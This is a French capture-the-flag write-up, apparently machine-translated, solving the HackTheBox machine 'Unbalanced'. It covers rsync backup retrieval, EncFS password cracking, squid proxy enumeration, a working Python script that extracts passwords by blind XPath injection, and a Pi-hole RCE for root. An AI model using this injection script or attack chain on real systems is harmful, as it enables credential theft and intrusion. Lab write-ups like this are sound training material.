Je continue à publier des solutions envoyées à la finalisation des machines depuis le site HackTheBox .
Dans cet article, nous traitons de la sauvegarde dans rsync, devinons le mot de passe pour EncFS, travaillons avec le serveur proxy squid, exploitons l'injection XPath et exploitons RCE dans Pi-hole.
Informations organisationnelles
Reconnaître
Cette machine a une adresse IP de 10.10.10.200, que j'ajoute à / etc / hosts.
10.10.10.200 unbalanced.htb
La première étape consiste à analyser les ports ouverts. Je fais cela en utilisant le script suivant, qui prend un argument - l'adresse de l'hôte à analyser:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Et nous observons les services proxy SSH, rsync et squid. Rsync est un programme pour les systèmes de type UNIX qui synchronise les fichiers et les répertoires à deux emplacements tout en minimisant le trafic. Rsync peut copier ou afficher le contenu du répertoire et copier des fichiers, en utilisant éventuellement la compression et la récursivité.
Voyons la liste des modules disponibles.
rsync --list-only rsync://unbalanced.htb:873
Copiez conf_backups.
rsync -av rsync://unbalanced.htb:873/conf_backups conf_backups
Par la présence du fichier .encfs6.xml, nous comprenons qu'il s'agit d'un volume chiffré EncFS. Obtenons un hachage du mot de passe.
Et faisons le tri.
Ainsi, nous obtenons le mot de passe avec lequel le cryptage a été effectué. Il reste à monter la partition.
Et nous obtenons une liste normale de fichiers.
Ce sont principalement des fichiers de configuration, et nous sommes plus intéressés par squid.conf. Voyons toutes les lignes non commentées.
cat squid.conf | grep -v '^#' | uniq
Nous sauvegardons le mot de passe et marquons le nouveau nom de domaine, que nous ajoutons à / etc / hosts. Nous examinons également les ACL.
10.10.10.200 intranet.unbalanced.htb
Installez le proxy dans le navigateur et référez-vous au serveur Web en utilisant le nom de domaine trouvé.
Nous sommes accueillis par un formulaire d'autorisation. Après avoir passé du temps avec elle, il a été décidé de continuer à travailler avec les calmars.
Point d'accès
Jetons un coup d'œil aux options disponibles.
squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:menu | grep -v 'disabled'
Et nous pouvons trouver plus de noms de domaine.
squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:fqdncache
Et il y a trois autres noms. Nous les ajoutons à / etc / hosts (ce dernier a été choisi logiquement).
172.31.179.2 intranet-host2.unbalanced.htb 172.31.179.3 intranet-host3.unbalanced.htb 172.31.179.1 intranet.unbalanced.htb
Et au premier on voit que ce site est une solution temporaire.
Ensuite, nous arrivons au même formulaire d'autorisation.
UTILISATEUR
Nous le testons à nouveau et obtenons une réponse à la requête 'ou' '='.
Et nous obtenons une liste d'utilisateurs. C'est l'injection XPath. Le fait est qu'avec l'aide de certaines requêtes, nous pouvons trouver les mots de passe des utilisateurs pour ces noms.
Donc, pour commencer, vous pouvez déterminer la longueur du mot de passe à l'aide de la fonction string-length. Test lors de la connexion. Nous savons que la longueur correcte est 5, essayez la condition avec 4 et avec 5 et voyez la différence.
La différence est visible. Après avoir déterminé la longueur, nous pouvons obtenir le mot de passe un caractère à la fois. Nous testons également sur la connexion. Prenez la première lettre et comparez-la avec «a», puis avec «b».
La différence est également visible. Écrivons un code qui triera tous les mots de passe pour chaque connexion de la même manière.
import requests
import string
url = 'http://172.31.179.1/intranet.php'
proxies = {'http':'http://10.10.10.200:3128'}
users = ['bryan','sarah', 'jim', 'rita']
pass_str_len = "' or Username='USER' and string-length(Password)='"
pass_str_chr = "' or Username='USER' and substring(Password,NUM,1)='"
for user in users:
for l in range(1,25):
data = {'Username': '', 'Password': pass_str_len.replace('USER', user) + str(l) }
request = requests.post(url=url, data=data, proxies=proxies)
print('(' + str(l) + ') ' + user + ' : ' + ' '*10, end="\r")
if 'Invalid credentials.' not in request.text:
passwd = ''
for num in range(l):
for c in string.printable[:94]:
data = {'Username': '', 'Password': pass_str_chr.replace('USER', user).replace('NUM', str(num+1)) + c }
request = requests.post(url=url, data=data, proxies=proxies)
print('(' + str(l) + ') ' + user + ' : ' + passwd + c +' '*10, end='\r')
if 'Invalid credentials.' not in request.text:
passwd += c
break
print(user +" : "+ passwd + " "*10)
break
Et le premier utilisateur a un accès SSH avec le mot de passe trouvé.
RACINE
Recherchez la liste TODO dans le répertoire personnel de l'utilisateur.
Et nous pouvons voir que les tâches liées à Pi-hole (mot de passe admin) ne sont pas encore terminées. Mais il n'a pas été possible d'afficher les ports ouverts, car netstat est absent. Ensuite, vous pouvez utiliser ce script .
Les ports 8080 et 5553 sont ouverts
et dans la réponse, nous trouvons un autre domaine et l'adresse IP correspondante. Laissons le port et passons par le navigateur.
ssh -L 8080:127.0.0.1:8080 bryan@unbalanced.htb
Accédez à la page et connectez-vous avec le mot de passe admin. Tout en bas, nous voyons la version.
Voyons les exploits.
Commençons l'auditeur et exécutons l'exploit.
Regardons les fichiers racine et trouvons le script mentionné dans la liste TODO.
Il contient un mot de passe.
Vous pouvez nous rejoindre sur Telegram . Vous y trouverez du matériel, des rapports, des cours et des logiciels intéressants. Rassemblons une communauté dans laquelle il y aura des gens qui connaissent de nombreux domaines de l'informatique, alors nous pourrons toujours nous entraider sur tous les problèmes informatiques et de sécurité de l'information.